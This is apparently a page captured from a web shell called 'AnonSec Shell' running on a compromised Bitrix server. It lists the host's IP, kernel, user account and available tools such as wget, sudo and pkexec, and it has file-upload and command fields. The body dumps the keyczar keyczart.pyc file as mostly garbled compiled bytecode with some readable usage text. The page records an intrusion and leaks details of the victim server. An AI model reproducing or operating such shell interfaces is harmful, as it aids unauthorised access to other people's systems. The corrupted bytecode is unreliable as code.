AnonSec Shell
Server IP : 85.193.89.191  /  Your IP : 3.147.89.255
Web Server : Apache
System : Linux 956367-cx40159.tmweb.ru 3.10.0-1160.105.1.el7.x86_64 #1 SMP Thu Dec 7 15:39:45 UTC 2023 x86_64
User : bitrix ( 600)
PHP Version : 8.1.27
Disable Function : NONE
MySQL : OFF  |  cURL : OFF  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /lib/python2.7/site-packages/keyczar/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /lib/python2.7/site-packages/keyczar/keyczart.pyc
�
N�Pc	@s:dZddlZddlZddlZddlZddlZddlZddlZddlZddl	Z	dej
ddfdej
ddfdejddfdej
ddfdejddfdejddfgZ
dZd	efd
��YZdefd��YZed
�Zed�Zed�Zed�Zed�Zed�Zed�Zied
6ed6ed6ed6ed6ed6ed6Zd�Zdefd��YZed�Zed�Zed�Zed�Zed�Z ed�Z!ed�Z"ed�Z#ed�Z$i	ed6ed6ed6ed6e d6e!d6e"d6e#d6e$d6Z%d �Z&dd!�Z'ddd"�Z(d#�Z)d$�Z*d%�Z+d&�Z,d'�Z-d(�Z.d)�Z/dd*d+�Z0d,�Z1dd-�Z2dd.�Z3d/�Z4e5d0kr6ej6e4ej7d1��ndS(2su
Keyczart(ool) is a utility for creating and managing Keyczar keysets.

@author: arkajit.dey@gmail.com (Arkajit Dey)
i����Ntaessaes-cryptedthmactrsasrsa-signtdsat_NamecBseZd�Zd�ZRS(cCs
||_dS(N(tname(tselfR((s4/usr/lib/python2.7/site-packages/keyczar/keyczart.pyt__init__,scCs|jS(N(R(R((s4/usr/lib/python2.7/site-packages/keyczar/keyczart.pyt__str__/s(t__name__t
__module__RR(((s4/usr/lib/python2.7/site-packages/keyczar/keyczart.pyR*s	tCommandcBseZdZRS(s$Enum representing keyczart commands.(R	R
t__doc__(((s4/usr/lib/python2.7/site-packages/keyczar/keyczart.pyR2stcreatetaddkeytpubkeytpromotetdemotetrevoketgenkeycCs3yt|SWn tk
r.tjd��nXdS(NsIllegal command(tcommandstKeyErrorterrorstKeyczarError(tcmd((s4/usr/lib/python2.7/site-packages/keyczar/keyczart.pyt
GetCommand@s
tFlagcBseZdZRS(s!Enum representing keyczart flags.(R	R
R(((s4/usr/lib/python2.7/site-packages/keyczar/keyczart.pyRFstlocationRtsizetstatustpurposetdestinationtversiont
asymmetrictcryptercCs3yt|SWn tk
r.tjd��nXdS(NsUnknown flag(tflagsRRR(tflag((s4/usr/lib/python2.7/site-packages/keyczar/keyczart.pytGetFlagVs
cCs^tdkr*|dkr*tjd��nd}|tjkr�|dkrftj||tj�}q|j	�dkr�tj||tj
�}qtj||tj�}n`|tjkr�|dkr�tj||tj
�}qtj||tj
�}ntjd��tdk	r&|t_n4tj|�}z|j|dt�Wd|j�XdS(NsLocation missingRsMissing or unsupported purposet	overwrite(tmocktNoneRRtkeyinfotSIGN_AND_VERIFYtkeydatatKeyMetadatat	HMAC_SHA1tlowertRSA_PRIVtDSA_PRIVtDECRYPT_AND_ENCRYPTtAEStkmdtwriterstCreateWritert
WriteMetadatatFalsetClose(tlocRRR!R3twriter((s4/usr/lib/python2.7/site-packages/keyczar/keyczart.pytCreate\s(cCsHt||�}|dkr$d}n|j||�t|||�dS(Ni����(tCreateGenericKeyczarR(t
AddVersiontUpdateGenericKeyczar(R9RR"Rtczar((s4/usr/lib/python2.7/site-packages/keyczar/keyczart.pytAddKeyys
	cCsJtdkr*|dkr*tjd��nt|�}|j|t�dS(NsMust define destination(R'R(RRR<tPublicKeyExport(R9tdestR?((s4/usr/lib/python2.7/site-packages/keyczar/keyczart.pytPubKey�scCsHt|�}|dkr*tjd��n|j|�t||�dS(NisMissing version(R<RRtPromoteR>(R9tnumR?((s4/usr/lib/python2.7/site-packages/keyczar/keyczart.pyRD�s

cCsHt|�}|dkr*tjd��n|j|�t||�dS(NisMissing version(R<RRtDemoteR>(R9RER?((s4/usr/lib/python2.7/site-packages/keyczar/keyczart.pyRF�s

cCs�t|�}|dkr*tjd��n|j|�t||�tdk	r`tj|�n.tj	|�}z|j
|�Wd|j�XdS(NisMissing version(R<RRtRevokeR>R'R(t	RemoveKeyR4R5tRemoveR8(R9RER?R:((s4/usr/lib/python2.7/site-packages/keyczar/keyczart.pyRG�s

cCstjj|�S(s,Helper to create a Crypter for the location.(tkeyczartCryptertRead(R((s4/usr/lib/python2.7/site-packages/keyczar/keyczart.pyt_CreateCrypter�scCsFdGHx�tD]�\}}}}dGHtjj||�}|r\ttjj||��}nt|�t|d||�t|tj	|�t
||tjj|d�|�t|tj	|�t
||tjj|d�|�qWdGHxNdD]F}dGHtjj||�}tjj||d	�}t||�q�Wd
GHdS(NsGenerating private key sets...t.tTests1.outs2.outsExporting public key sets...Rsrsa-signs.publicsDone!(Rsrsa-sign(tKEYSETStostpathtjoinRMtCleanR;R@R)tPRIMARYtUseKeyRC(R9RRR!R"tdir_pathRB((s4/usr/lib/python2.7/site-packages/keyczar/keyczart.pyt	GenKeySet�s&
"&
cCsUxNtj|�D]=}tjj||�}tjj|�stj|�qqWdS(N(RQtlistdirRRRStisdirtremove(t	directorytfilenameRR((s4/usr/lib/python2.7/site-packages/keyczar/keyczart.pyRT�ssThis is some test datacCs�tj|�}z�d}|r3tj||�}n|tjkr]tj|�j|�}n*|tjkr�tj	|�j
|�}ntj||�Wd|j
�XdS(Nt(treaderstCreateReadertEncryptedReaderR)R1RJRKtEncryptR*tSignertSigntutilt	WriteFileR8(RR9RBR"tmsgtreadertanswer((s4/usr/lib/python2.7/site-packages/keyczar/keyczart.pyRV�scCs	dGHdS(Ns�Usage: "Keyczart command flags"
  Commands: create addkey pubkey promote demote revoke
Flags: location name size status purpose destination version asymmetric crypter
Command Usage:
create --location=/path/to/keys --purpose=(crypt|sign) [--name="A name"] [--asymmetric=(dsa|rsa)]
  Creates a new, empty key set in the given location.
  This key set must have a purpose of either "crypt" or "sign"
  and may optionally be given a name. The optional asymmetric 
  flag will generate a public key set of the given algorithm.
  The "dsa" asymmetric value is valid only for sets with "sign" purpose.
  with the given purpose.
addkey --location=/path/to/keys [--status=(active|primary)] [--size=size] [--crypter=crypterLocation]
  Adds a new key to an existing key set. Optionally
  specify a purpose, which is active by default. Optionally
  specify a key size in bits. Also optionally specify the
  location of a set of crypting keys, which will be used to
  encrypt this key set.
pubkey --location=/path/to/keys --destination=/destination
  Extracts public keys from a given key set and writes them
  to the destination. The "pubkey" command Only works for
  key sets that were created with the "--asymmetric" flag.
promote --location=/path/to/keys --version=versionNumber
  Promotes the status of the given key version in the given 
  location. Active keys are promoted to primary (which demotes 
  any existing primary key to active). Keys scheduled for 
  revocation are promoted to be active.
demote --location=/path/to/keys --version=versionNumber
  Demotes the status of the given key version in the given
  location. Primary keys are demoted to active. Active keys
  are scheduled for revocation.
revoke --location=/path/to/keys --version=versionNumber
  Revokes the key of the given version number.
  This key must have been scheduled for revocation by the
  promote command. WARNING: The key will be destroyed.

Optional flags are in [brackets]. The notation (a|b|c) means "a", "b", and "c"
are the valid choices((((s4/usr/lib/python2.7/site-packages/keyczar/keyczart.pytUsage�s%cCs�tdk	rtjt�S|dkr7tjd��nUd}tj|�}z.|rjtj||�}ntj|�}Wd|j	�X|SdS(Ns
Need location(
R'R(RJtGenericKeyczarRRR_R`RaR8(R9R"tgenericRh((s4/usr/lib/python2.7/site-packages/keyczar/keyczart.pyR<�s
cCs�tdk	rK|jt_xa|jD]"}tj|j|j|��q"Wn1tj	|�}z|j
||�Wd|j�XdS(N(R'R(tmetadataR3tversionstSetKeytversion_numbertGetKeyR4R5tWriteR8(R?R9t	encryptertvR:((s4/usr/lib/python2.7/site-packages/keyczar/keyczart.pyR>s#cCsst|�dkrt�nSt|d�}i}xs|D]k}|jd�r9|d}y)|jd�\}}||t|�<Wq�tk
r�dGHt�q�Xq9q9Wy4t|jt	d��}t|jt
d��}Wntk
r�dGHt�nX|jt�}|tkrnit
jd6t
jd	6j|jt��}	t||jtd
�|	|jt��n|tkr�t
j|jtd�j��}
t|kr�t|t�}nd}t||
||�n�|tkr�t||jt��nt|tkrt ||�nX|t!kr3t"||�n<|t#krOt$||�n |t%krht&|�nt�dS(Nis--it=sFlags incorrectly formattedi����s)Size and version flags require an integertcrypttsignROtACTIVE('tlenRjRt
startswithtsplitR%t
ValueErrortinttgettVERSIONtSIZEtLOCATIONtCREATER)R1R*tPURPOSER;tNAMEt
ASYMMETRICtADDKEYt	GetStatustSTATUStuppertCRYPTERRMR(R@tPUBKEYRCtDESTINATIONtPROMOTERDtDEMOTERFtREVOKERGtGENKEYRX(targvRR#targR$tvalR RR9RRR"((s4/usr/lib/python2.7/site-packages/keyczar/keyczart.pytmainsR





+!
t__main__i(8RRQtsysRRJR+R)R_R4ReR1R(R*RPR'tobjectRRR�R�R�R�R�R�R�RRRR�R�R�R�R�R�RR�R�R#R%R;R@RCRDRFRGRMRXRTRVRjR<R>R�R	texitR�(((s4/usr/lib/python2.7/site-packages/keyczar/keyczart.pyt<module>sv
										'	2

Anon7 - 2022
AnonSec Team